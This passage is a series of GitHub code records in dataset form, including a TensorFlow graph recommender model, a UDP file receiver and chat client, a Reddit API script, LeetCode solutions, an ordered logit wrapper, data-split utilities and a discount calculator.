tf.Variable(\n tf.random_normal([self.conf.num_items, self.conf.dimension], stddev=0.01),\n name='item_embedding'\n ) # [38342, 64]\n\n # 从本地npy读出来\n self.user_review_vector_matrix = tf.constant(\n np.load(self.conf.user_review_vector_matrix), dtype=tf.float32\n ) # shape=(17237, 150)\n\n self.item_review_vector_matrix = tf.constant(\n np.load(self.conf.item_review_vector_matrix), dtype=tf.float32\n ) # shape=(38342, 150)\n\n self.reduce_dimension_layer = tf.layers.Dense( # 降维层 -> 64\n units=self.conf.dimension, # 64\n activation=tf.nn.sigmoid,\n name='reduce_dimension_layer'\n )\n\n ######## Fine-grained Graph Attention initialization # 细粒度Graph Attention初始化 ########\n # ----------------------\n # User part\n # ----------------------\n # First diffusion layer 扩散层\n self.first_user_part_social_graph_att_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.tanh,\n name='firstGCN_UU_user_MLP_first_layer'\n )\n self.first_user_part_social_graph_att_layer2 = tf.layers.Dense(\n units=1,\n activation=tf.nn.leaky_relu,\n name='firstGCN_UU_user_MLP_sencond_layer'\n )\n self.first_user_part_interest_graph_att_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.tanh,\n name='firstGCN_UI_user_MLP_first_layer'\n )\n self.first_user_part_interest_graph_att_layer2 = tf.layers.Dense(\n units=1,\n activation=tf.nn.leaky_relu,\n name='firstGCN_UI_user_MLP_second_layer'\n )\n\n # ----------------------\n # Second diffusion layer 扩散\n self.second_user_part_social_graph_att_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.tanh,\n name='secondGCN_UU_user_MLP_first_layer'\n )\n\n self.second_user_part_social_graph_att_layer2 = tf.layers.Dense(\n units=1,\n activation=tf.nn.leaky_relu,\n name='secondGCN_UU_user_MLP_second_layer'\n )\n\n self.second_user_part_interest_graph_att_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.tanh,\n name='secondGCN_UI_user_MLP_first_layer'\n )\n\n self.second_user_part_interest_graph_att_layer2 = tf.layers.Dense(\n units=1,\n activation=tf.nn.leaky_relu,\n name='secondGCN_UI_user_MLP_second_layer'\n )\n\n # ----------------------\n # Item part\n self.first_item_part_itself_graph_att_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.tanh,\n name='firstGCN_IU_itemself_MLP_first_layer'\n )\n self.first_item_part_itself_graph_att_layer2 = tf.layers.Dense(\n units=1,\n activation=tf.nn.leaky_relu,\n name='firstGCN_IU_itemself_MLP_second_layer'\n )\n self.first_item_part_user_graph_att_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.tanh,\n name='firstGCN_IU_customer_MLP_first_layer'\n )\n self.first_item_part_user_graph_att_layer2 = tf.layers.Dense(\n units=1,\n activation=tf.nn.leaky_relu,\n name='firstGCN_IU_customer_MLP_second_layer'\n )\n self.second_item_part_itself_graph_att_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.tanh,\n name='secondGCN_IU_itemself_MLP_first_layer'\n )\n self.second_item_part_itself_graph_att_layer2 = tf.layers.Dense(\n units=1,\n activation=tf.nn.leaky_relu,\n name='secondGCN_IU_itemself_MLP_second_layer'\n )\n self.second_item_part_user_graph_att_layer1 = tf.layers.Dense(\n units=1,\n activation=tf.nn.tanh,\n name='secondGCN_IU_customer_MLP_first_layer'\n )\n self.second_item_part_user_graph_att_layer2 = tf.layers.Dense(\n units=1,\n activation=tf.nn.leaky_relu,\n name='secondGCN_IU_customer_MLP_second_layer'\n )\n\n # MGNN\n self.reduce_dimension_layer = tf.layers.Dense( # 降维层 -> 64\n units=self.conf.dimension, # 64\n activation=tf.nn.sigmoid,\n name='reduce_dimension_layer'\n )\n\n def get_user_and_item_embedding(self):\n \"\"\"\n 融合层,先拿到 user_embedding 和 item_embedding\n :return:\n \"\"\"\n # 转换分布 -> 降维 -> 转换分布\n first_user_review_vector_matrix = self.convertDistribution(self.user_review_vector_matrix) # shape=(17237, 150)\n first_item_review_vector_matrix = self.convertDistribution(self.item_review_vector_matrix) # shape=(38342, 150)\n\n self.user_reduce_dim_vector_matrix = self.reduce_dimension_layer(\n first_user_review_vector_matrix\n ) # 降维 shape=(17237, 64) 激活函数:sigmoid\n self.item_reduce_dim_vector_matrix = self.reduce_dimension_layer(\n first_item_review_vector_matrix\n ) # 降维 shape=(38342, 64) 激活函数:sigmoid\n\n second_user_review_vector_matrix = self.convertDistribution(\n self.user_reduce_dim_vector_matrix\n ) # 转换分布 shape=(17237, 64)\n second_item_review_vector_matrix = self.convertDistribution(\n self.item_reduce_dim_vector_matrix\n ) # 转换分布 shape=(38342, 64)\n\n # 加法融合 item_embedding 和 user_embedding 都是正态分布的随机数\n self.fusion_user_embedding = self.user_embedding + second_user_review_vector_matrix # shape=(17237, 64)\n self.fusion_item_embedding = self.item_embedding + second_item_review_vector_matrix # shape=(38342, 64)\n\n return self.fusion_user_embedding, self.fusion_item_embedding\n\n def constructTrainGraph(self):\n \"\"\"\n 创建训练图 ★\n :return:\n \"\"\"\n\n self.current_user_embedding, self.current_item_embedding = self.get_user_and_item_embedding()\n # 1. 空间层 5层神经网络\n self.item_influence_embedding = self.get_item_influence_embedding(self.current_user_embedding) # (17237, 64)\n self.social_item_embedding = self.get_social_item_embedding(self.current_item_embedding) # (17237, 64)\n self.consumption_preference_embedding = self.get_consumption_preference_embedding(\n self.item_influence_embedding, self.social_item_embedding\n ) # shape=(17237, 64)\n\n # 2. 光谱层 GCN 一层神经网络\n self.social_preference_embedding = self.get_social_preference_embedding(\n self.current_user_embedding\n ) # (17237, 64)\n\n # 3. 互惠层\n self.prefenrence_embedding = self.get_preference_embedding(\n self.consumption_preference_embedding, self.current_user_embedding\n ) # concat 128\n self.social_embedding = self.get_social_embedding(\n self.social_preference_embedding, self.current_user_embedding\n ) # concat 128\n\n self.mutual_embedding = self.get_mutual_embedding(\n self.prefenrence_embedding, self.social_embedding\n ) # dot 128\n\n self.mutual_preference_embedding = self.get_mutual_preference_embedding(\n self.prefenrence_embedding, self.mutual_embedding\n ) # concat 64\n self.mutual_social_embedding = self.get_mutual_social_embedding(\n self.social_embedding, self.mutual_embedding\n ) # concat 64\n\n # 4. 预测层\n\n self.layer4_1 = tf.layers.Dense(\n units=self.conf.dimension, # 64\n activation=tf.nn.leaky_relu,\n ) # mutual_preference_embedding\n\n self.layer4_2 = tf.layers.Dense(\n units=self.conf.dimension, # 64\n activation=tf.nn.leaky_relu,\n ) # mutual_social_embedding\n\n self.layer4_3 = tf.layers.Dense(\n units=self.conf.dimension, # 64\n activation=tf.nn.leaky_relu,\n ) # current_user_embedding\n\n self.layer4_4 = tf.layers.Dense(\n units=self.conf.dimension, # 64\n activation=tf.nn.leaky_relu,\n ) # current_item_embedding\n\n self.mutual_preference_embedding = self.layer4_1(self.mutual_preference_embedding)\n self.current_item_embedding = self.layer4_4(self.current_item_embedding)\n\n self.mutual_social_embedding = self.layer4_2(self.mutual_social_embedding)\n self.current_user_embedding = self.layer4_3(self.current_user_embedding)\n\n latest_user_latent = tf.gather_nd(\n self.mutual_preference_embedding, self.user_input\n ) # shape=(?, 64) user_input'shape=(?, 1)\n latest_item_latent = tf.gather_nd(\n self.current_item_embedding, self.item_input\n ) # shape=(?, 64) item_input'shape=(?, 1)\n\n latest_user_latent1 = tf.gather_nd(\n self.mutual_social_embedding, self.social_user_input\n ) # shape=(?, 64) user_input'shape=(?, 1)\n\n latest_user_latent2 = tf.gather_nd(\n self.current_user_embedding, self.social_friend_input\n ) # shape=(?, 64) item_input'shape=(?, 1)\n\n self.predict_vector = tf.multiply(latest_user_latent, latest_item_latent) # shape=(?, 64)\n self.prediction = tf.sigmoid(tf.reduce_sum(self.predict_vector, 1, keepdims=True)) # shape=(?, 1)\n\n self.predict_social_vector = tf.multiply(latest_user_latent1, latest_user_latent2) # shape=(?, 64)\n self.social_prediction = tf.sigmoid(tf.reduce_sum(self.predict_social_vector, 1, keepdims=True)) # shape=(?, 1)\n\n # ----------------------\n # Optimazation 训练优化器\n\n self.loss = tf.nn.l2_loss(self.labels_input - self.prediction)\n self.social_loss = tf.nn.l2_loss(self.social_labels_input - self.social_prediction)\n\n self.opt_loss = tf.nn.l2_loss(self.labels_input - self.prediction)\n self.opt = tf.train.AdamOptimizer(self.conf.learning_rate).minimize(self.opt_loss + self.social_loss)\n # self.opt = tf.train.AdamOptimizer(self.conf.learning_rate).minimize(self.opt_loss)\n\n self.init = tf.global_variables_initializer()\n\n def saveVariables(self):\n \"\"\"\n 保存变量\n :return:\n \"\"\"\n ############################# Save Variables #################################\n variables_dict = {}\n variables_dict[self.user_embedding.op.name] = self.user_embedding\n variables_dict[self.item_embedding.op.name] = self.item_embedding\n\n for v in self.reduce_dimension_layer.variables:\n variables_dict[v.op.name] = v\n\n self.saver = tf.train.Saver(variables_dict)\n ############################# Save Variables #################################\n\n def defineMap(self):\n map_dict = {}\n map_dict['train'] = {\n self.user_input: 'USER_LIST',\n self.item_input: 'ITEM_LIST',\n self.labels_input: 'LABEL_LIST',\n self.social_user_input: 'SOCIAL_USER_LIST',\n self.social_friend_input: 'SOCIAL_FRIEND_LIST',\n self.social_labels_input: 'SOCIAL_LABEL_LIST',\n }\n\n map_dict['val'] = {\n self.user_input: 'USER_LIST',\n self.item_input: 'ITEM_LIST',\n self.labels_input: 'LABEL_LIST',\n self.social_user_input: 'SOCIAL_USER_LIST',\n self.social_friend_input: 'SOCIAL_FRIEND_LIST',\n self.social_labels_input: 'SOCIAL_LABEL_LIST',\n }\n\n map_dict['test'] = {\n self.user_input: 'USER_LIST',\n self.item_input: 'ITEM_LIST',\n self.labels_input: 'LABEL_LIST',\n self.social_user_input: 'SOCIAL_USER_LIST',\n self.social_friend_input: 'SOCIAL_FRIEND_LIST',\n self.social_labels_input: 'SOCIAL_LABEL_LIST',\n }\n\n map_dict['eva'] = {\n 'user-item': {\n self.user_input: 'EVA_USER_LIST',\n self.item_input: 'EVA_ITEM_LIST',\n },\n 'user-user': {\n self.social_user_input: 'SOCIAL_EVA_USER_LIST',\n self.social_friend_input: 'SOCIAL_EVA_FRIEND_LIST'\n }\n\n\n }\n\n map_dict['out'] = {\n 'train': self.loss,\n 'val': self.loss,\n 'test': self.loss,\n 'eva': self.prediction,\n 'social_eva': self.social_prediction,\n 'social_loss': self.social_loss\n }\n\n self.map_dict = map_dict\n","repo_name":"yanzhenxing123/DiffNet-SP","sub_path":"mgnn.py","file_name":"mgnn.py","file_ext":"py","file_size_in_byte":31287,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28640426274","text":"import sys\nimport socket\n\nRECEIVER_IP = '127.0.0.1'\n\n\nclass Receiver:\n def __init__(self, port, file_name):\n self.port = port\n self.file_name = file_name\n self.socket_ = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\n def connect(self):\n self.socket_.bind((RECEIVER_IP, self.port))\n\n def receive_file(self):\n file_received = bytearray()\n curr_seq_num = 0\n prev_seq_num = -1\n while True:\n received, address = self.socket_.recvfrom(1027)\n if received is None:\n continue\n curr_seq_num = int.from_bytes(received[:2], 'little')\n if curr_seq_num == (prev_seq_num + 1):\n prev_seq_num = curr_seq_num\n file_received.extend(received[3:])\n self.socket_.sendto(curr_seq_num.to_bytes(\n 2, byteorder='little'), address)\n else:\n self.socket_.sendto(curr_seq_num.to_bytes(\n 2, byteorder='little'), address)\n if (received[2] == 1):\n for i in range(10):\n self.socket_.sendto(curr_seq_num.to_bytes(\n 2, byteorder='little'), address)\n break\n return file_received\n\n def write_file(self, file_received):\n with open(self.file_name, 'wb') as f:\n f.write(file_received)\n f.close()\n self.socket_.close()\n\n\nif __name__ == \"__main__\":\n receiver = Receiver(int(sys.argv[1]), sys.argv[2])\n receiver.connect()\n receiver.write_file(receiver.receive_file())\n","repo_name":"LeoXu9/udp-simulation","sub_path":"Receiver2.py","file_name":"Receiver2.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23051313744","text":"#!/usr/bin/python3\n\"\"\" Conatains a function that retrieve reddit API data without\n authentication \"\"\"\n\nimport json\nimport requests\n\n\ndef top_ten(subred):\n \"\"\" queries the Reddit API and prints the titles of\n the first 10 hot posts listed for a given subreddit\"\"\"\n headers = {'User-Agent': 'MyAPI/0.0.1'}\n try:\n url = 'https://www.reddit.com/r/{}/hot.json?limit=10'.format(subred)\n response = requests.get(url, headers=headers)\n if response.status_code == 200:\n posts = response.json()['data']['children']\n for post in posts:\n print(post['data']['title'])\n else:\n print(\"None\")\n except Exception:\n print(\"None\")\n","repo_name":"Elcis2614/alx-system_engineering-devops","sub_path":"0x16-api_advanced/1-top_ten.py","file_name":"1-top_ten.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73354349955","text":"from typing import List\ndef singleNumber(nums: List[int]):\n res = 0\n for i in nums:\n res = res ^ i\n return res\n\n\nif __name__ == '__main__':\n a = [2,1,3,1,3]\n print(singleNumber(a))","repo_name":"Xu109/data_structure","sub_path":"6.29/只出现一次的数字.py","file_name":"只出现一次的数字.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41942236799","text":"'''\nName: Palaash Srivastava\nStudent ID: 30004292\nScript for Automated Screenshot Generation\n\nFirst the droidbot package needs to be downloaded from: https://github.com/honeynet/droidbot\nThe steps to run Droidbot have been mentioned in the github page.\nAfter setting up Droidbot and placing the apk file (Notepad app) the following command was run using terminal\ndroidbot -a Notepad.apk -o output_dir -timeout 4000 -grant_perm -is_emulator -ignore_ad\nDetail on the above command can be obtained by writing droidbot -h in the terminal at Droidbot install location.\n\nOnce the process is completed, in the output folder (in above command called output_dir) there will be a js file called\nutg.js. This file contains information about each screen captured. This file needs to be converted to json file called\nutg.json so that this script can obtain information from it.\n\nThis script needs to be placed such that it can access the output folder and its contents created by Droidbot.\n\nThere are comments in the code below which inform the process being performed by that code.\n'''\n\n\n'''\nLine 25-29 Importing the required packages. \n'''\nimport json\nimport textwrap\nimport re\nfrom PIL import Image, ImageFont, ImageDraw\nimport nltk.tokenize\n\n\n'''\nLine 35 - 51\nWe firstly open utg.json file which contains information about all the screens captured by droidbot.\nWe then load this json information in jsonObject and iterate through the nodes and add the needed information like \nid, image path and text to an array called screenshot_text_map\n'''\nwith open(\"utg.json\") as jsonFile:\n jsonObject = json.load(jsonFile)\n jsonFile.close()\n\nnodes = jsonObject['nodes']\nnum_nodes = jsonObject['num_nodes']\n\nscreenshot_text_map = []\n\nscreenshot_text_map.append([\"id\",\"image\",\"text\"])\n\nfor item in nodes:\n id = item['id']\n image = item['image']\n content_split = item['content'].split('\\n')\n text = content_split[len(content_split)-1]\n screenshot_text_map.append([id,image,text])\n\n\n'''\nFor each node in screenshot_text_map we go through this loop which generate the screenshot.\n'''\nfor i in range(1,len(screenshot_text_map)):\n\n '''\n Line 65 - 67 We extract information from the array and store it in variables.\n '''\n current_image = screenshot_text_map[i][1]\n title_font = ImageFont.truetype('Roboto/Roboto-Black.ttf',100)\n title_text = screenshot_text_map[i][2]\n\n '''\n Line 72 - 82 performs pre processing on the screen text obtained from Droidbot. This preprocessing is important to \n remove unwanted characters and only obtain important feature related words.\n '''\n title_text = title_text.replace('\"HelloWorld\"',\"\")\n title_text = title_text.replace('<Untitled>',\"\")\n title_text = re.sub(r\"[^a-zA-Z!.?,]+\", r\" \", title_text)\n title_text = re.sub('[!@#$●&•]', '', title_text)\n title_text = re.sub(r'http\\S+', '', title_text)\n title_text = re.sub(r'www\\S+', '', title_text)\n list_of_text = title_text.split(\",\")\n for j in range(len(list_of_text)):\n list_of_text[j] = list_of_text[j].lower()\n list_of_text = [i for i in list_of_text if i]\n\n '''\n Line 87 - 96 We retrieve the pos tag values for the words obtained after above pre processing. \n Based on the rules built from analysis on current app store screenshots, the text that should contain important \n feature information are added to the output text. The rule can be seen in line 93 and 95. \n '''\n in_hand_text = \"\"\n output_text = \"\"\n tagged = nltk.pos_tag(list_of_text)\n for k in range(len(tagged)):\n if tagged[k][1]==\"NN\" and tagged[k][0] == \"search...\":\n output_text = tagged[k][0] + \" \" + output_text\n elif (tagged[k][1] == \"NN\" or tagged[k][1] == \"NNS\" or tagged[k][1] == \"VB\" or tagged[k][1] == \"VBP\") and (\n len(tagged[k][0]) < 20):\n output_text+=tagged[k][0] + \",\"\n output_text=output_text.rstrip(\",\")\n\n '''\n Line 103 - 111 The app screenshot captured by Droidbot is obtained and updated to have black background. \n '''\n current_image = Image.open(current_image).convert(\"RGBA\")\n black_image_background = Image.new(\"RGBA\", current_image.size, \"BLACK\")\n black_image_background.paste(current_image, mask=current_image)\n\n current_image = black_image_background.convert(\"RGBA\")\n\n image_editable = ImageDraw.Draw(current_image)\n current_image.save(\"outputImage/\"+screenshot_text_map[i][0]+\".png\")\n current_image=current_image.resize((900,2000))\n\n '''\n Line 116 - 120 The phone border at file background_phone_border.png is added to the screenshots to provide realistic \n phone screenshot view. \n '''\n curr_img_w, curr_img_h = current_image.size\n background = Image.open('background_phone_border.png')\n bg_w , bg_h = background.size\n offset = ((bg_w-curr_img_w)//2,(bg_h-curr_img_h)//2)\n background.paste(current_image,offset,current_image)\n\n '''\n Line 126 - 131 The text description generated from line 87-96 is combined with the background app screenshot image\n to generate the final app screenshot that can be listed in an app store. This image is saved to App_Screenshots\n folder in jpeg format. \n '''\n image_editable = ImageDraw.Draw(background)\n output_text = textwrap.fill(text=output_text,width = 60)\n _, _, w, h = image_editable.textbbox((0, 0), output_text, font=title_font)\n width_position = ((bg_w * 20) / 100)\n image_editable.text(((bg_w - w) / 2, 300), output_text, (255, 255, 255), font=title_font)\n background.convert(\"RGB\").save(\"App_Screenshots/\" + screenshot_text_map[i][0] + \".jpeg\")\n\n","repo_name":"PalaashSri/App_Screenshot_Generator","sub_path":"Droidbot_Script&Data/droidbot_script.py","file_name":"droidbot_script.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38282397649","text":"from typing import (\n DefaultDict,\n Dict,\n Iterator,\n List,\n NamedTuple,\n Optional,\n Set,\n Union,\n)\nfrom bisect import (\n bisect_left,\n bisect_right,\n)\nfrom itertools import (\n accumulate,\n chain,\n cycle,\n islice,\n permutations,\n product,\n repeat,\n takewhile,\n)\nfrom functools import (\n cached_property,\n)\nfrom collections import (\n defaultdict,\n deque,\n)\n\n\nclass ListNode:\n def __init__(\n self,\n x: int,\n next: Optional['ListNode'] = None,\n ):\n self.val: int = x\n self.next: 'ListNode' = next\n\n\nclass TreeNode:\n def __init__(\n self,\n val: int = 0,\n left: 'TreeNode' = None,\n right: 'TreeNode' = None,\n ):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n\n def build(\n self,\n inorder: List[int],\n postorder: List[int],\n ) -> Optional[TreeNode]:\n\n if len(inorder) == 0:\n return None\n\n root_value = postorder[-1]\n root = TreeNode(val=root_value)\n\n root_index = next(\n index\n for index, value in enumerate(inorder)\n if value == root_value\n )\n root.left = self.build(\n inorder=inorder[:root_index],\n postorder=postorder[:root_index],\n )\n root.right = self.build(\n inorder=inorder[root_index + 1:],\n postorder=postorder[root_index:-1],\n )\n\n return root\n\n\n def buildTree(\n self,\n inorder: List[int],\n postorder: List[int],\n ) -> Optional[TreeNode]:\n return self.build(\n inorder=inorder,\n postorder=postorder,\n )\n\n\nif __name__ == '__main__':\n solution = Solution()\n","repo_name":"thanhnguyen2187/random-problem-solving","sub_path":"leetcode/n0106_construct_binary_tree_from_inorder_and_post_order_traversal.py","file_name":"n0106_construct_binary_tree_from_inorder_and_post_order_traversal.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41925322081","text":"\"\"\"\n OModel.py (author: Valeria Cordova)\n Wrapper for Statsmodels' Ordered Logit/Probit Model\n\"\"\"\nimport numpy as np\nimport statsmodels.api as sm\nfrom statsmodels.miscmodels.ordinal_model import OrderedModel\nimport warnings\nwarnings.filterwarnings(action=\"ignore\", module=\"scipy\", message=\"^internal gelsd\")\nfrom sklearn.utils.validation import check_is_fitted\nimport pdb\n\nclass OModel:\n\n def __init__(self, model_class, classes, distr = 'logit'):\n self.model_class = model_class\n self.classes = classes\n self.distr = distr\n\n def fit(self, X, y, maxiter=1000, cov_type='HC0', method = 'bfgs', skip_hessian=True, disp=1):\n \"\"\"\n Available methods are: (statsmodels)\n - 'newton' for Newton-Raphson (slower), 'nm' for Nelder-Mead\n - 'bfgs' for Broyden-Fletcher-Goldfarb-Shanno (BFGS)\n - 'lbfgs' for limited-memory BFGS with optional box constraints\n - 'powell' for modified Powell's method\n - 'cg' for conjugate gradient\n - 'ncg' for Newton-conjugate gradient\n - 'basinhopping' for global basin-hopping solver\n - 'minimize' for generic wrapper of scipy minimize (BFGS by default)\n \"\"\"\n self.model = OrderedModel(y, X, distr= self.distr)\n self.result = self.model.fit(maxiter=1000, cov_type=cov_type, method=method, skip_hessian = skip_hessian, disp=disp)\n return self.result\n \n def summary(self):\n # Check is fit had been called\n check_is_fitted(self, 'model')\n return self.result.summary()\n\n def predict(self, X, type = \"prob\"):\n if type == \"prob\":\n pred = self.result.predict(X)\n elif type == \"choice\":\n pred = np.asarray(self.result.predict(X)).argmax(1) + np.min(self.classes)\n elif type == \"lin\":\n pred = self.result.predict(X, which = \"linpred\")\n else:\n print(\"Invalid type given. Type = ['prob','choice','lin']\")\n\n return pred\n \n def residuals(self):\n # Residual Probability\n return self.result.resid_prob\n \n def rss(self):\n sqresid = np.square(self.result.resid_prob)\n return np.sum(sqresid)\n \n def loss(self, X, y, labels = []):\n # All-Threshold Loss (Rennie & Srebro, 2005)\n # Note: y need to be transformed to (consecutive) numeric categories\n # labels: optional if y does not contain all the categories of the data\n linpred = self.result.predict(X, which = \"linpred\") \n thresh = self.model.transform_threshold_params(self.result.params)\n \n if not len(labels):\n labels = np.unique(y)\n try:\n np.size(y,1)\n except:\n y = y.reshape(len(y),1)\n \n \n loss = np.empty((len(y),1))\n for n in range(len(y)):\n f = []\n if thresh[y[n,0]-np.min(labels)] < linpred[n] <= thresh[y[n,0]-np.min(labels)+1]:\n loss[n] = 0\n else:\n for i in range(len(thresh[1:-1])):\n if i + np.min(labels) < y[n,0]:\n f.append(np.log(1 + np.exp(-(linpred[n] - thresh[i+1]))))\n else:\n f.append(np.log(1 + np.exp(-(thresh[i+1] - linpred[n]))))\n \n loss[n] = np.sum(f)\n \n return np.sum(loss) \n","repo_name":"valeriacordovas/Masters-Thesis","sub_path":"models/OModel.py","file_name":"OModel.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"10129107887","text":"# This scripts create N_FOLDERS of physionet22 data using symbolic links.\nfrom sklearn.model_selection import ShuffleSplit\nfrom helper_code import find_patient_files, load_patient_data, get_murmur, get_patient_id\nimport pandas as pd\nfrom pathlib import Path\nfrom glob import glob\nimport shutil\n\nN_FOLDERS = 5\nprint(\"N_FOLDERS: {}\".format(N_FOLDERS))\nINPUT_FOLDER = \"../circor-heart-sound/1.0.3/training_data/\"\nIS_MINI = False\nif IS_MINI:\n OUTPUT_FOLDER = \"../cross-validation-data-1-0-3-mini/\"\nelse:\n OUTPUT_FOLDER = \"../cross-validation-data-1-0-3/\"\nseed = 42\n \ndef create_folder_and_move(patient_infos, dst_folder):\n #Create folder and copy train files\n Path(dst_folder).mkdir(parents=True, exist_ok=True)\n for index, info in patient_infos.iterrows():\n patient_files = glob(INPUT_FOLDER + info[\"id\"] + \"*\")\n for patient_file in patient_files:\n shutil.copy2(patient_file, dst_folder)\n \n\nif __name__ == \"__main__\":\n patients_files = find_patient_files(INPUT_FOLDER)\n patient_infos = []\n\n for patient_file in patients_files:\n patient_data = load_patient_data(patient_file)\n patient_id = get_patient_id(patient_data)\n patient_label = get_murmur(patient_data)\n patient_infos.append({\n \"id\" : patient_id,\n \"label\" : patient_label \n })\n if IS_MINI:\n patient_info_df = pd.DataFrame(patient_infos).sample(50, random_state=42)\n else:\n patient_info_df = pd.DataFrame(patient_infos).sample(frac=1, random_state=42)\n \n print(\"Training Set\")\n print(\"Number of patients : \", patient_info_df.iloc[0])\n print(patient_info_df[\"label\"].value_counts())\n\n cv = ShuffleSplit(n_splits=N_FOLDERS, test_size=0.3, random_state = seed)\n folder_num = 0\n\n for train, test in cv.split(patient_info_df):\n print(\"Folder Number: {}\".format(folder_num))\n train_df = patient_info_df.iloc[train]\n test_df = patient_info_df.iloc[test]\n \n #Create folder and copy train files\n print(\"Copying train.\")\n folder_train = OUTPUT_FOLDER + \"{}/train/\".format(folder_num)\n create_folder_and_move(train_df, folder_train)\n print(\"Done.\")\n \n #Create folder and move test files\n print(\"Copying test.\")\n folder_test = OUTPUT_FOLDER + \"{}/test/\".format(folder_num)\n create_folder_and_move(test_df, folder_test)\n print(\"Done.\")\n \n folder_num += 1","repo_name":"maraujo/physionet22","sub_path":"generate_crossvalidation_splits.py","file_name":"generate_crossvalidation_splits.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"38324079141","text":"import socket\nimport threading\n\n\ns= socket.socket( socket.AF_INET, socket.SOCK_DGRAM)\n\n\nip_server= \"127.0.0.1\"\nport_server= 6013\n\ns.connect(( ip_server, port_server ))\n\n\ndef receive():\n while True:\n response = s.recvfrom(2048) \n mssg_server= response[0].decode() # Message from server in \"string format\"\n if mssg_server == 'FINISH':\n print(\"Server closed the connection\")\n break\n print(\"Server says: \" + mssg_server )\n s.close()\n\n\ndef send():\n while True:\n data = input()\n if data == 'FINISH': \n print(\"Connection closed\")\n s.sendto( data.encode(), ( ip_server, port_server ))\n break\n s.sendto( data.encode(), ( ip_server, port_server ))\n s.close()\n\n# applying multithreading\nthread1= threading.Thread( target= receive )\nthread2= threading.Thread( target= send )\nthread1.start()\nthread2.start()","repo_name":"ajaypokharel/os_hw_2","sub_path":"prob_2/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7139035572","text":"#You work for a retail store that wants to increase \n# sales on Tuesday and Wednesday, which are the store’s \n# slowest sales days. On Tuesday and Wednesday, if a \n# customer’s subtotal is $50 or greater, the store will \n# discount the customer’s subtotal by 10%.\n\n\nfrom datetime import datetime #This import the datetime library\n\nsubtotal = float(input(\"Please enter the subtotal: \"))\ncurrent_date = datetime.now()\n\nday_of_week = current_date.weekday()\n\nif subtotal >= 50 and day_of_week == 1 or day_of_week == 2:\n promo_discount = subtotal * 0.1 \n discount = subtotal - promo_discount \n sales_tax_amount = 0.06 * discount\n total_amount_due = sales_tax_amount + discount \n print(promo_discount, sales_tax_amount, total_amount_due)\nelse: \n sales_tax_amount = subtotal * 0.06\n total_amount_due = sales_tax_amount + subtotal\n print(f\"Sales tax amount:{sales_tax_amount:.2f}\")\n print(f\"Total: {total_amount_due:.2f}\")\n\n","repo_name":"Doctorzik/cse111","sub_path":"discount.py","file_name":"discount.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24041543027","text":"\"\"\"\n **Users Management Cron Jobs**\n check if users have been login in , if not then send messages to inform user that their subscription is still activate\n if they have one\n\"\"\"\n__developer__ = \"mobius-crypt\"\n__email__ = \"mobiusndou@gmail.com\"\n__twitter__ = \"@blueitserver\"\n__github_repo__ = \"https://github.com/freelancing-solutions/memberships-and-affiliate-api\"\n__github_profile__ = \"https://github.com/freelancing-solutions/\"\n\nfrom flask import Blueprint\nfrom _cron.jobs.users_jobs import UserJobs\nfrom config.exceptions import status_codes\nfrom schedulers.scheduler import schedule_func\nfrom security.apps_authenticator import handle_cron_auth\n\ncron_users_bp = Blueprint('cron_users', __name__)\n\n\n@cron_users_bp.route('/_cron/v1/users', methods=['POST', 'GET'])\n@handle_cron_auth\ndef cron_users_jobs() -> tuple:\n \"\"\"\n **cron_users_jobs**\n\n user cron jobs, will run cron services needed to manage users\n :return: tuple\n \"\"\"\n user_jobs_instance: UserJobs = UserJobs()\n schedule_func(func=user_jobs_instance.run, job_name='cron_user_jobs')\n return \"OK\", status_codes.status_ok_code\n","repo_name":"Memberships-Affiliate-Management-API/membership_and_affiliate_api","sub_path":"_cron/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"22503094304","text":"#change scenename and save to another filepath\nimport os\nimport sys\nimport shutil\n\nImgDir = '/ssd/wangmaorui/data/Test'\nSceneDir = '/ssd/wangmaorui/data/Test/Scene'\n\nif __name__==\"__main__\":\n sceneTxt = 'scene.txt'\n scenePath = os.path.join(ImgDir,sceneTxt)\n lblFile = open(scenePath,'r+') \n lblSrcFLines = lblFile.readlines()\n for line in lblSrcFLines:\n srcLine = line.strip().split() # space split\n imgPath = srcLine[0].strip() \n #print(imgPath) \n imgIterms = imgPath.split('/') # path split\n if len(imgIterms) >= 9: \n sceneName = imgIterms[7]\n imgName = imgIterms[-1]\n\n sceneFullName = os.path.join(SceneDir,sceneName)\n #print(sceneFullName)\n #if not os.path.exists(sceneFullName):\n # os.mkdir(sceneFullName)\n\n ## copy\n #imgSrcPath = 